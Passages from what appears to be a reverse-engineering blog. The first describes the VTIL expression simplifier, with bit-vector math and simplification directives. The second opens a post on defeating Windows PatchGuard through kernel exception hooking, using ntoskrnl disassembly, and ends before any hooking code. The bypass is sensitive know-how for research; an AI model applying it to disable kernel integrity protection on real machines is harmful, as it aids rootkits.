0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])])]|~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])])])])>>(0x6&-0x1))+-0x1)]|~[0x14000b6de])]&~[(~[(((~[-0x41]&~[(~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])])]|~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])]&~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))]&~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b887b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b887b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b887b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b887b, 0x8)<<0x2)&0x4))])]&~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)<<0xb)&0x800))|((_ucast(eflags.sf@b8b4b, 0x8)<<0x7)&0x80))|((_ucast(eflags.zf@b8b4b, 0x8)<<0x6)&0x40))|((_ucast(eflags.af@b8b4b, 0x8)<<0x4)&0x10))|((_ucast(eflags.pf@b8b4b, 0x8)<<0x2)&0x4))])])])])])])>>(0x6&-0x1))+-0x1)]|~[0x14000b6de])]))+arg0x0?q

Since this expression is practically unreadable at the moment, let’s ignore it for now. After implementing the cache check and recursing into operands bit, starting with constant-folding seems like a logical choice. However I will implement this with a slight twist.

0x3: Overcome your fear of the unknown.

Expressing constant values in expressions as, well…, constants work fine sure. But what about the rest? Say you are evaluating (A>>1)&1, is the value of this expression really that “unknown” since you know that a high majority of the bits are zero? Do you really want to recursively pattern match every unit operand of the ((A>>1)&1)|0x21 just to optimize it into 0x21? No, and you don’t.

Let’s try representing the value as a bit vector instead with three basic properties.

 1// Bit-vector holding 0 to 64 bits of value with optional unknowns.
 2//
 3class bit_vector
 4{
 5 // Value of the known bits, mask of it can be found by [::known_mask()]
 6 // - Guaranteed to hold 0 for unknown bits.
 7 //
 8 uint64_t known_bits = 0;
 9
10 // Mask for the bit that we do not know.
11 // - Guaranteed to hold 0 for known bits and for all bits above bit_count.
12 //
13 uint64_t unknown_bits = 0;
14
15 // Number of bits this vector contains.
16 //
17 uint8_t bit_count = 0;

Let’s refer to known bits as $\psi^1(v)_n$ (where 1 is the value that generates a set bit where unset bits indicate unknown bits and optionally n as the bit index) and unknown bits as $\omega(v)_n$ (following the same convention). $\psi^0(v)$ will not be defined by itself in most cases as it can be resolved by a simple $\BitNot (\psi^1(v) \BitOr \omega(v))$.

All basic bitwise operators are implemented trivially in this convention as it can be seen in equations \eqref{eq:not_eq}, \eqref{eq:or_eq}, \eqref{eq:and_eq}, and \eqref{eq:xor_eq}.

\begin{align} \psi^1(\BitNot v) &= \psi^0(v) \label{eq:not_eq} \\ \omega(\BitNot v) &= \omega(v) \nonumber \\ \nonumber \\ \psi^1(a \BitOr b) &= \psi^1(a) \BitOr \psi^1(b) \label{eq:or_eq} \\ \omega(a \BitOr b) &= (\omega(a) \BitOr \omega(b)) \BitAnd \BitNot \psi^1(a \BitOr b) \nonumber \\ \nonumber \\ \psi^1(a \BitAnd b) &= \psi^1(a) \BitAnd \psi^1(b) \label{eq:and_eq} \\ \omega(a \BitAnd b) &= (\omega(a) \BitOr \omega(b)) \BitAnd \BitNot \psi^0(a \BitOr b) \nonumber \\ \nonumber \\ \psi^1(a \BitXor b) &= (\psi^1(a) \BitXor \psi^1(b)) \BitAnd \BitNot \omega(a \BitXor b) \label{eq:xor_eq} \\ \omega(a \BitXor b) &= \omega(a) \BitOr \omega(b) \nonumber \\ \nonumber \\ \end{align}

Similarly shifting and rotation can be expressed with the help of a few branches, as seen in equations \eqref{eq:shl_eq}, and \eqref{eq:rot_eq}. Rest of the operators can also be implemented in solutions ranging from O(n²) to O(1) with some bitwise magic, but I will not bore you with math any further, let’s move on.

\begin{align} \psi^1(v \BitShl n) &= \begin{cases} 0 && \text{if $\omega(n) \neq 0$ or $\psi^1(n) \geq bitcnt(v)$} \label{eq:shl_eq} \\ \psi^1(v) \BitShl \psi^1(n) && \text{else} \\ \end{cases} \\ \omega(v \BitShl n) &= \begin{cases} 0 && \text{if $\psi^0(v) = mask(v)$} \nonumber \\ mask(v) && \text{if $\omega(n) \neq 0$} \nonumber \\ \omega(v) \BitShl \psi^1(n) && \text{else} \nonumber \\ \end{cases} \nonumber \\ \nonumber \\ \psi^1(v \text{ rot } n) &= \begin{cases} \psi^1(v) && \text{if $\psi^0(v) = mask(v)$ or $\psi^1(v) = mask(v)$} \label{eq:rot_eq} \\ 0 && \text{if $\omega(n) \neq 0$} \\ \psi^1(v) \text{ rot } \psi^1(n) && \text{else} \\ \end{cases} \\ \omega(v \text{ rot } n) &= \begin{cases} 0 && \text{if $\psi^0(v) = mask(v)$ or $\psi^1(v) = mask(v)$} \nonumber \\ mask(v) && \text{if $\omega(n) \neq 0$} \nonumber \\ \omega(v) \text{ rot } \psi^1(n) && \text{else} \nonumber \\ \end{cases} \nonumber \\ \end{align}

0x4: Classification of simplification directives.

I’ve implemented a structure that acts like an expression but instead is used for pattern creating purposes so that we can create simplification directives, directive::instance, there are two major benefits to this choice over hand-written logic:

Directives created in a structured way will let us write verification routines much easier, later on, say using a SMT solver or a simple fuzzer, since we have access to the complete logic of the simplifier described in a structured way.
All of the directives are in one neat and tidy place where we can manage them easily.

Now that we can finally get into writing simplification directives, let’s talk about what simplification is.

Consider ~A|~B vs ~(A&B), which one is simplified? Say you pick the 2nd one since it has 2 operations vs 3. What about A&(B<<C) where A is a constant? Do we leave it as is or rewrite as ((B&(A>>C))<<C), or rather if do not rewrite it, how does one simplify 0x40&(ZF&1<<6) as(ZF&1)<<6 since 1&1==1?

A simple answer to this question, sadly, does not exist. However, we can create an arbitrary definition of a “complexity” and optimize the reward function created based on it, which will give us a direction to go towards. VTIL’s definition of an expression complexity is defined as shown below in equation \eqref{eq:cmplxty}:

\begin{align} \phi(e) &= \begin{cases} \sqrt{1 + \displaystyle\min(\text{popcnt}\{e, |e|\})} && \text{if constant} \label{eq:cmplxty} \\ 128 && \text{if variable} \\ 2^{1+ m}\big[\sum_{i} \phi(e.operands[i]) \big] && \text{else} \\ \small\text{where $m$ = \# of operands that did not match $e$’s bitwise/arithmetic hint.} \end{cases} \\ \end{align}

Basically this definition of $\phi(e)$, punishes depth in trees in an exponentially-growing way and prefers constants over variables and smaller constants over huge constants in a way that would not hurt negative constants. I also additionally add a x2 multiplier if the arithmetic / bitwise hints do not match so that for instance NEG is preferred instead of NOT when used in an arithmetic expression. We can classify simplifiers in 3 different categories now:

Universal Simplifiers
This type of simplification directive will reduce the cost of the expression with no exceptions, what this means is that when we simplify an expression based on any of the directives in this list and recurse, we have no possibility of creating an infinite loop, which makes these the first step of any simplification flow.
Join Directives
Join directives basically present alternative forms of directives that may have a positive or a negative effect on the final cost based on the way lower nodes are structured, a great example is A(B&C) => (A|B)&(A|C), this can go both ways, good and bad, based on the full expression, the methods of handling these directives will be discussed when we start discussing them.
Pack/Unpack Directives
Packing directives create very high-level operators from bitwise and arithmetic operators such as the conversion of __if, this is a great thing for the user-end (a.k.a. compiler-end), but not exactly the best news for the simplifier itself as each additional operator we implement means we need to implement join directives and universal simplifiers for them, which is a lot of work. This class of directives deals with this problem by keeping all expressions unpacked via the unpacking directives, unless explicitly requested by the user to prettify, which I find to be a very fitting name for simplifications that are not necessarily simple, but preferred by humans and thus code written by them.

With a quick implementation of a bunch of universal simplifiers, we get the monstrous expression from Section #0x2 into this form:

1(((_ucast(((0x40&~((((((_ucast(D:1, 0x40)<<0xb)|(_ucast(H:1, 0x40)<<0x7))|(_ucast(J:1, 0x40)<<0x6))|(_ucast(B:1, 0x40)<<0x4))|(_ucast(F:1, 0x40)<<0x2))^(((((_ucast(E:1, 0x40)<<0xb)|(_ucast(I:1, 0x40)<<0x7))|((_ucast((_cast(K:1, 0x40)+0x145515abbb), 0x40)<<0x6)&0x40))|(_ucast(C:1, 0x40)<<0x4))|(_ucast(G:1, 0x40)<<0x2))))>>0x6), 0x1)?0x14000b964)+(~_ucast(((0x40&~((((((_ucast(D:1, 0x40)<<0xb)|(_ucast(H:1, 0x40)<<0x7))|(_ucast(J:1, 0x40)<<0x6))|(_ucast(B:1, 0x40)<<0x4))|(_ucast(F:1, 0x40)<<0x2))^(((((_ucast(E:1, 0x40)<<0xb)|(_ucast(I:1, 0x40)<<0x7))|((_ucast((_cast(K:1, 0x40)+0x145515abbb), 0x40)<<0x6)&0x40))|(_ucast(C:1, 0x40)<<0x4))|(_ucast(G:1, 0x40)<<0x2))))>>0x6), 0x1)?0x14000b6de))+relocation:64)

Not bad!

0x5: Join directives.

One problem we need to solve before anything with join directives is the cost of building and trying each join directive. I accomplish this by adding two special constructs that change how directives work in general. First one is special directives that grant us the ability to make choices at evaluation time if a specific condition is satisfied which adds 4 essential operators:

Accepting only if it simplifies, !x
This becomes useful as it lets us avoid the construction completely if a chosen partition cannot be simplified, avoiding all costs.
Attempt to simplify before it reaches caller, s(x)
This lets us simplify certain bits before the recursive-simplifier starts working again and most importantly before the complexity comparison is made, so we don’t get to lose anything by not simplifying before the complexity checks.
If and only if, __iff(condition, directive) and or, __or(x, y)
These combined let you have fully conditional output essentially letting you define logic when combined with already existing comparison operators.
Access to mask interface from math::bit_vector
Accessing the value of $\\phi^1(v)$, $\\phi^0(v)$ and $\\omega(v)$ is an exceptional helper when simplifying bitwise expressions.

Other one is the ability to deny the construction of certain expressions if the directive will not match, which basically speculatively creates the conditional segments of the directives within the directive::match routine itself. This basically allows for fast verification of directive conditions and thanks to our cache, we do not suffer any drops in speed since 2nd time this directive is built, simplified version will be pulled out of the cache.

Now we can do complex simplifications like the following, see if you can spot the problem with the last directive.

1{ (A>>B)<<C, __iff(B>=C, s(!((-1>>B)<<C)&(A>>!(B-C)))) },
2{ (A>>C)<<B, __iff(B>=C, s(!((-1>>C)<<B)&(A<<!(B-C)))) },
3{ A|(B<<U), !(!(A>>U)|B)<<U|s(A&((1<<U)-1)) },
4...

Our last problem is the elimination of infinite-loops, which we have already solved by a previously implemented feature without even noticing.

See the problem with this perfectly valid directive?

Now the directive is technically not as safe as it should be, as it doesn’t check if the OR it appends actually has any effect but this is fine. As we’ve implemented the directive cache and reference and set it within the routine BEFORE simplification is done, the same expression calling into the ::simplify routine will get a quick simplify failed and be kicked out, so this problem is solved for us… by us?

I will, again, implement a bunch of directives of this type and see how the output improves just like the previous section.

1(((0x14000b964&~((0x1&~(_ucast(J:1, 0x40)^_ucast(K:1, 0x40)))+-0x1))+(0x14000b6de&((0x1&~(_ucast(J:1, 0x40)^_ucast(K:1, 0x40)))+-0x1)))+relocation:64)

Quite a decent improvement over the last version again :).

0x6: Prettifying.

Now the output of the previous is surely the simplest form it will ever get to, but as human beings, we seem to like pretty expressions, so as the final stage we add a prettyfier, which converts certain groups into high-level functions we understand easier with no real added value. The only trick here is that this flag to “prettify”, should not propagate to operands and that after the join stage is done, regardless of the prettify flag we should attempt to unprettify. With those two things in mind, we can implement as many high level operators as we can.

With the simple two-line introduction of the __if operator, we get the final output of

(((~(J:1^K:1)?0x14000b964)+((J:1^K:1)?0x14000b6de))+relocation:64)

The lesson to learn here is that weeks of work and debugging do not go to waste even when you feel the least hopeful ¯\_(ツ)_/¯.

-0x1^0xF8: Conclusion

Surely, there are numerous reasons LLVM keeps getting recommended again and again and again. Getting this kind of complex logic working correctly in stable form takes at least weeks, let alone the fact that ours is a very reduced form. However I still find this challenge really interesting and since this was pretty much the hardest part of it all, given that I already have implemented a lot of instruction-stream optimizations and a complete compiler on my previous project, porting them to VTIL should not take much time and hopefully we will have a great release sometime soon.

TL;DR: If you feel like reinventing the wheel, go ahead, it’s fun. But you can always contribute to LLVM VTIL instead, why bother reinventing the wheel? /s

P.S.: I’d like to thank @daax_rynd and @vm_call for the mental support they have provided during this rough time.

ByePg: Defeating Patchguard using Exception-hooking

Sat, 19 Oct 2019 00:00:00 +0000

Now I know what you are thinking, exception hooks? …in kernel-mode? Yes, it is certainly is not as easy as a mere call to kernel32!AddVectoredExceptionHandler, but with some thinking out of the box we actually can implement a system-wide exception handler. As much as Microsoft wants you to forget, filling WDK with abstractions over abstractions, frightening you with their fearsome guard dog PatchGuard barking at anything and everything, your driver is executing in kernel-mode. That is as high as the privileges get without a hypervisor.

The trick is to remember that exception handlers, system call routines, thread scheduling, anything you can imagine is implemented by an image called ntoskrnl.exe, executed and mapped at the same level as your code.

0x0: Birth of an exception

Each hardware exception has an interrupt dispatch table index associated with it. Entry handling page faults is at index 0xE, breakpoints at 0x3 and so on. When the processor encounters an exception during the execution, it disables interrupts, sets the code segment according to the entry, if the interrupted routine was running in user-mode fetches the kernel stack pointer from TSS.RSP0, otherwise either 16-byte aligns the current RSP or fetches it from interrupt stack table as requested by the entry. After this is done it pushes the previous SS:RSP, EFLAGS, CS:RIP and optionally an error code to the new stack and jumpts to the interrupt service routine.

The processor’s work is pretty much done at this point and control is handed to ntoskrnl which allocates a KTRAP_FRAME in the stack, handles the mode switch if relevant and saves certain registers and processor-states such as MxCsr. The handling after this stage is exception-dependent but mostly ends up either at KiExceptionDispatch or KiBugCheckDispatch. KiDebugTrapOrFault and KiDoubleFaultAbort would be good examples respectively.

Now let’s move on to analysing both control flows in terms of how they handle an exception, specifically a kernel-mode one as we are mainly concerned about catching kernel-mode exceptions. I’ll be using a relatively old ntoskrnl.exe sample from Windows 8 as it contains less mitigation-related boilerplate.

0x1.1: KiExceptionDispatch a.k.a. 🤔

Like most interrupt handling related functions in ntoskrnl, KiExceptionDispatch takes an implicit argument Rbp pointing at KTRAP_FRAME + FrameSize (128 bytes), an exception code in Ecx, number of parameters in Edx, and exception address in R8.

It starts by allocating and (partially) filling a KEXCEPTION_FRAME structure; essentially saving the non-volatile registers as seen below:

 1.text:000000014006EA80 KiExceptionDispatch proc near ; CODE XREF: KiDivideErrorFault+EF
 2.text:000000014006EA80 ; KiDebugTrapOrFault+19D ...
 3.text:000000014006EA80
 4.text:000000014006EA80 sub rsp, 1D8h
 5.text:000000014006EA87 lea rax, [rsp+1D8h+var_D8]
 6.text:000000014006EA8F movaps [rsp+1D8h+var_1A8], xmm6
 7.text:000000014006EA94 movaps [rsp+1D8h+var_198], xmm7
 8.text:000000014006EA99 movaps [rsp+1D8h+var_188], xmm8
 9.text:000000014006EA9F movaps [rsp+1D8h+var_178], xmm9
10.text:000000014006EAA5 movaps [rsp+1D8h+var_168], xmm10
11.text:000000014006EAAB movaps xmmword ptr [rax-80h], xmm11
12.text:000000014006EAB0 movaps xmmword ptr [rax-70h], xmm12
13.text:000000014006EAB5 movaps xmmword ptr [rax-60h], xmm13
14.text:000000014006EABA movaps xmmword ptr [rax-50h], xmm14
15.text:000000014006EABF movaps xmmword ptr [rax-40h], xmm15
16.text:000000014006EAC4 mov [rax], rbx
17.text:000000014006EAC7 mov [rax+8], rdi
18.text:000000014006EACB mov [rax+10h], rsi
19.text:000000014006EACF mov [rax+18h], r12
20.text:000000014006EAD3 mov [rax+20h], r13
21.text:000000014006EAD7 mov [rax+28h], r14
22.text:000000014006EADB mov [rax+30h], r15
23.text:000000014006EADF mov rax, gs:188h
24.text:000000014006EAE8 bt dword ptr [rax+4Ch], 0Bh
25.text:000000014006EAED jnb short SkipUms
26.text:000000014006EAEF test byte ptr [rbp+0F0h], 1
27.text:000000014006EAF6 jz short SkipUms
28.text:000000014006EAF8 call KiUmsExceptionEntry
29.text:000000014006EAFD SkipUms:

Afterwards it creates an EXCEPTION_RECORD associated with the current exception and passes all of this data to KiDispatchException, it also continues execution if KiDispatchException returns but I omitted that part as it is not relevant to us.

 1.text:000000014006EAFD lea rax, [rsp+1D8h+Src]
 2.text:000000014006EB05 mov [rax], ecx
 3.text:000000014006EB07 xor ecx, ecx
 4.text:000000014006EB09 mov [rax+4], ecx
 5.text:000000014006EB0C mov [rax+8], rcx
 6.text:000000014006EB10 mov [rax+10h], r8
 7.text:000000014006EB14 mov [rax+18h], edx
 8.text:000000014006EB17 mov [rax+20h], r9
 9.text:000000014006EB1B mov [rax+28h], r10
10.text:000000014006EB1F mov [rax+30h], r11
11.text:000000014006EB23 mov r9b, [rbp+0F0h]
12.text:000000014006EB2A and r9b, 1
13.text:000000014006EB2E mov [rsp+1D8h+var_1B8], 1 ; char
14.text:000000014006EB33 lea r8, [rbp-80h]
15.text:000000014006EB37 mov rdx, rsp
16.text:000000014006EB3A mov rcx, rax ; Src
17.text:000000014006EB3D call KiDispatchException

KiDispatchException is a little long to analyze instruction by instruction but to simply put it preprocesses the exception by invoking KiPreprocessFault, combines the information from KTRAP_FRAME and KEXCEPTION_FRAME into a single CONTEXT structure, checks for any SEH handlers using RtlDispatchException and jumps to KeBugCheckEx on failure.

0x1.2: KiBugCheckDispatch, a.k.a. Nope 👋

Similar to KiExceptionDispatch, this routine also partially fills a KEXCEPTION_FRAME on stack but instead afterwards directly jumps to KeBugCheckEx.

 1.text:000000014006EA00 KiBugCheckDispatch proc near ; CODE XREF: KiInterruptHandler:loc_14006ADC4
 2.text:000000014006EA00 ; KiNmiInterruptStart+24A
 3.text:000000014006EA00
 4.text:000000014006EA00 sub rsp, 138h
